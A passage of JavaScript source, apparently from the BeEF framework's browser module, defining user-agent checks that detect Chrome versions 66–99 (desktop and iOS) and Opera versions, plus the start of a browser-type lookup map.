     * @example: beef.browser.isC66()
     */
    isC66: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 66.
     * @example: beef.browser.isC66iOS()
     */
    isC66iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false);
    },

    /**
     * Returns true if Chrome 67.
     * @example: beef.browser.isC67()
     */
    isC67: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 67.
     * @example: beef.browser.isC67iOS()
     */
    isC67iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false);
    },

    /**
     * Returns true if Chrome 68.
     * @example: beef.browser.isC68()
     */
    isC68: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 68.
     * @example: beef.browser.isC68iOS()
     */
    isC68iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false);
    },

    /**
     * Returns true if Chrome 69.
     * @example: beef.browser.isC69()
     */
    isC69: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 69.
     * @example: beef.browser.isC69iOS()
     */
    isC69iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false);
    },

    /**
     * Returns true if Chrome 70.
     * @example: beef.browser.isC70()
     */
    isC70: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 70.
     * @example: beef.browser.isC70iOS()
     */
    isC70iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false);
    },

    /**
     * Returns true if Chrome 71.
     * @example: beef.browser.isC71()
     */
    isC71: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 71.
     * @example: beef.browser.isC71iOS()
     */
    isC71iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false);
    },

    /**
     * Returns true if Chrome 72.
     * @example: beef.browser.isC72()
     */
    isC72: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 72.
     * @example: beef.browser.isC72iOS()
     */
    isC72iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false);
    },

    /**
     * Returns true if Chrome 73.
     * @example: beef.browser.isC73()
     */
    isC73: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 73.
     * @example: beef.browser.isC73iOS()
     */
    isC73iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false);
    },

    /**
     * Returns true if Chrome 74.
     * @example: beef.browser.isC74()
     */
    isC74: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 74.
     * @example: beef.browser.isC74iOS()
     */
    isC74iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false);
    },

    /**
     * Returns true if Chrome 75.
     * @example: beef.browser.isC75()
     */
    isC75: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 75.
     * @example: beef.browser.isC75iOS()
     */
    isC75iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false);
    },

    /**
     * Returns true if Chrome 76.
     * @example: beef.browser.isC76()
     */
    isC76: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 76.
     * @example: beef.browser.isC76iOS()
     */
    isC76iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false);
    },

    /**
     * Returns true if Chrome 77.
     * @example: beef.browser.isC77()
     */
    isC77: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 77.
     * @example: beef.browser.isC77iOS()
     */
    isC77iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false);
    },

    /**
     * Returns true if Chrome 78.
     * @example: beef.browser.isC78()
     */
    isC78: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 78.
     * @example: beef.browser.isC78iOS()
     */
    isC78iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false);
    },

    /**
     * Returns true if Chrome 79.
     * @example: beef.browser.isC79()
     */
    isC79: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 79.
     * @example: beef.browser.isC79iOS()
     */
    isC79iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false);
    },

    /**
     * Returns true if Chrome 80.
     * @example: beef.browser.isC80()
     */
    isC80: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 80.
     * @example: beef.browser.isC80iOS()
     */
    isC80iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false);
    },

    /**
     * Returns true if Chrome 81.
     * @example: beef.browser.isC81()
     */
    isC81: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 81.
     * @example: beef.browser.isC81iOS()
     */
    isC81iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false);
    },

    /**
     * Returns true if Chrome 82.
     * @example: beef.browser.isC82()
     */
    isC82: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 82.
     * @example: beef.browser.isC82iOS()
     */
    isC82iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false);
    },

    /**
     * Returns true if Chrome 83.
     * @example: beef.browser.isC83()
     */
    isC83: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 83.
     * @example: beef.browser.isC83iOS()
     */
    isC83iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false);
    },

    /**
     * Returns true if Chrome 84.
     * @example: beef.browser.isC84()
     */
    isC84: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 84.
     * @example: beef.browser.isC84iOS()
     */
    isC84iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true : false);
    },

    /**
     * Returns true if Chrome 85.
     * @example: beef.browser.isC85()
     */
    isC85: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 85.
     * @example: beef.browser.isC85iOS()
     */
    isC85iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false);
    },

    /**
     * Returns true if Chrome 86.
     * @example: beef.browser.isC86()
     */
    isC86: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 86.
     * @example: beef.browser.isC86iOS()
     */
    isC86iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false);
    },

    /**
     * Returns true if Chrome 87.
     * @example: beef.browser.isC87()
     */
    isC87: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 87.
     * @example: beef.browser.isC87iOS()
     */
    isC87iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false);
    },

    /**
     * Returns true if Chrome 88.
     * @example: beef.browser.isC88()
     */
    isC88: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 88.
     * @example: beef.browser.isC88iOS()
     */
    isC88iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false);
    },

    /**
     * Returns true if Chrome 89.
     * @example: beef.browser.isC89()
     */
    isC89: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 89.
     * @example: beef.browser.isC89iOS()
     */
    isC89iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false);
    },

    /**
     * Returns true if Chrome 90.
     * @example: beef.browser.isC90()
     */
    isC90: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 90.
     * @example: beef.browser.isC90iOS()
     */
    isC90iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false);
    },

    /**
     * Returns true if Chrome 91.
     * @example: beef.browser.isC91()
     */
    isC91: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 91.
     * @example: beef.browser.isC91iOS()
     */
    isC91iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false);
    },

    /**
     * Returns true if Chrome 92.
     * @example: beef.browser.isC92()
     */
    isC92: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 92.
     * @example: beef.browser.isC92iOS()
     */
    isC92iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false);
    },

    /**
     * Returns true if Chrome 93.
     * @example: beef.browser.isC93()
     */
    isC93: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 93.
     * @example: beef.browser.isC93iOS()
     */
    isC93iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false);
    },

    /**
     * Returns true if Chrome 94.
     * @example: beef.browser.isC94()
     */
    isC94: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 94.
     * @example: beef.browser.isC94iOS()
     */
    isC94iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false);
    },

    /**
     * Returns true if Chrome 95.
     * @example: beef.browser.isC95()
     */
    isC95: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 95.
     * @example: beef.browser.isC95iOS()
     */
    isC95iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false);
    },

    /**
     * Returns true if Chrome 96.
     * @example: beef.browser.isC96()
     */
    isC96: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 96.
     * @example: beef.browser.isC96iOS()
     */
    isC96iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false);
    },

    /**
     * Returns true if Chrome 97.
     * @example: beef.browser.isC97()
     */
    isC97: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 97.
     * @example: beef.browser.isC97iOS()
     */
    isC97iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false);
    },

    /**
     * Returns true if Chrome 98.
     * @example: beef.browser.isC98()
     */
    isC98: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 98.
     * @example: beef.browser.isC98iOS()
     */
    isC98iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false);
    },

    /**
     * Returns true if Chrome 99.
     * @example: beef.browser.isC99()
     */
    isC99: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 99.
     * @example: beef.browser.isC99iOS()
     */
    isC99iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
    },

    /**
     * Returns true for modern versions of Chrome (above 9).
     * @example: beef.browser.isCbowser()
     */
    isCbowser: function () {
        const parser = bowser.getParser(navigator.userAgent);
        const browserName = parser.getBrowserName();
        return browserName == 'Chrome';
    },    

    /**
     * Returns true if Chrome.
     * @example: beef.browser.isC()
     */
    isC: function () {
        var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
        return legacyCheck || this.isCbowser();
    },

    /**
     * Returns true if Opera 9.50 through 9.52.
     * @example: beef.browser.isO9_52()
     */
    isO9_52: function () {
        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
    },

    /**
     * Returns true if Opera 9.60 through 9.64.
     * @example: beef.browser.isO9_60()
     */
    isO9_60: function () {
        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
    },

    /**
     * Returns true if Opera 10.xx.
     * @example: beef.browser.isO10()
     */
    isO10: function () {
        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
    },

    /**
     * Returns true if Opera 11.xx.
     * @example: beef.browser.isO11()
     */
    isO11: function () {
        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
    },

    /**
     * Returns true if Opera 12.xx.
     * @example: beef.browser.isO12()
     */
    isO12: function () {
        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
    },

    /**
     * Returns true if the browser is any version of Opera.
     * @example: beef.browser.isObowser()
    */
    isObowser: function () {
        const parser = bowser.getParser(navigator.userAgent);
        const browserName = parser.getBrowserName();
        return browserName == 'Opera';
    },

    /**
     * Returns true if Opera.
     * @example: beef.browser.isO()
     */
    isO: function () {
        var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
        return legacyCheck || this.isObowser();
    },

    /**
     * Returns the type of browser being used.
     * @example: beef.browser.type().IE6
     * @example: beef.browser.type().FF
     * @example: beef.browser.type().O
     */
    type: function () {

        return {
            E: this.isEdge(), // Edge any version
            C5: this.isC5(), // Chrome 5
            C6: this.isC6(), // Chrome 6
            C7: this.isC7(), // Chrome 7
            C8: this.isC8(), // Chrome 8
            C9: this.isC9(), // Chrome 9
            C10: this.isC10(), // Chrome 10
            C11: this.isC11(), // Chrome 11
            C12: this.isC12(), // Chrome 12
            C13: this.isC13(), // Chrome 13
            C14: this.isC14(), // Chrome 14
            C15: this.isC15(), // Chrome 15
            C16: this.isC16(), // Chrome 16
            C17: this.isC17(), // Chrome 17
            C18: this.isC18(), // Chrome 18
            C19: this.isC19(), // Chrome 19
            C19iOS: this.isC19iOS(), // Chrome 19 on iOS
            C20: this.isC20(), // Chrome 20
            C20iOS: this.isC20iOS(), // Chrome 20 on iOS
            C21: this.isC21(), // Chrome 21
            C21iOS: this.isC21iOS(), // Chrome 21 on iOS
            C22: this.isC22(), // Chrome 22
            C22iOS: this.isC22iOS(), // Chrome 22 on iOS
            C23: this.isC23(), // Chrome 23
            C23iOS: this.isC23iOS(), // Chrome 23 on iOS
            C24: this.isC24(), // Chrome 24
            C24iOS: this.isC24iOS(), // Chrome 24 on iOS
            C25: this.isC25(), // Chrome 25
            C25iOS: this.isC25iOS(), // Chrome 25 on iOS
            C26: this.isC26(), // Chrome 26
            C26iOS: this.isC26iOS(), // Chrome 26 on iOS
            C27: this.isC27(), // Chrome 27
            C27iOS: this.isC27iOS(), // Chrome 27 on iOS
            C28: this.isC28(), // Chrome 28
            C28iOS: this.isC28iOS(), // Chrome 28 on iOS
            C29: this.isC29(), // Chrome 29
            C29iOS: this.isC29iOS(), // Chrome 29 on iOS
            C30: this.isC30(), // Chrome 30
            C30iOS: this.isC30iOS(), // Chrome 30 on iOS
            C31: this.isC31(), // Chrome 31
            C31iOS: this.isC31iOS(), // Chrome 31 on iOS
            C32: this.isC32(), // Chrome 32
            C32iOS: this.isC32iOS(), // Chrome 32 on iOS
            C33: this.isC33(), // Chrome 33
            C33iOS: this.isC33iOS(), // Chrome 33 on iOS
            C34: this.isC34(), // Chrome 34
            C34iOS: this.isC34iOS(), // Chrome 34 on iOS
            C35: this.isC35(), // Chrome 35
            C35iOS: this.isC35iOS(), // Chrome 35 on iOS
            C36: this.isC36(), // Chrome 36
            C36iOS: this.isC36iOS(), // Chrome 36 on iOS
            C37: this.isC37(), // Chrome 37
            C37iOS: this.isC37iOS(), // Chrome 37 on iOS
            C38: this.isC38(), // Chrome 38
            C38iOS: this.isC38iOS(), // Chrome 38 on iOS
            C39: this.isC39(), // Chrome 39
            C39iOS: this.isC39iOS(), // Chrome 39 on iOS
            C40: this.isC40(), // Chrome 40
            C40iOS: this.isC40iOS(), // Chrome 40 on iOS
            C41: this.isC41(), // Chrome 41
            C41iOS: this.isC41iOS(), // Chrome 41 on iOS
            C42: this.isC42(), // Chrome 42
            C42iOS: this.isC42iOS(), // Chrome 42 on iOS
            C43: this.isC43(), // Chrome 43
            C43iOS: this.isC43iOS(), // Chrome 43 on iOS
            C44: this.isC44(), // Chrome 44
            C44iOS: this.isC44iOS(), // Chrome 44 on iOS
            C45: this.isC45(), // Chrome 45
            C45iOS: this.isC45iOS(), // Chrome 45 on iOS
            C46: this.isC46(), // Chrome 46
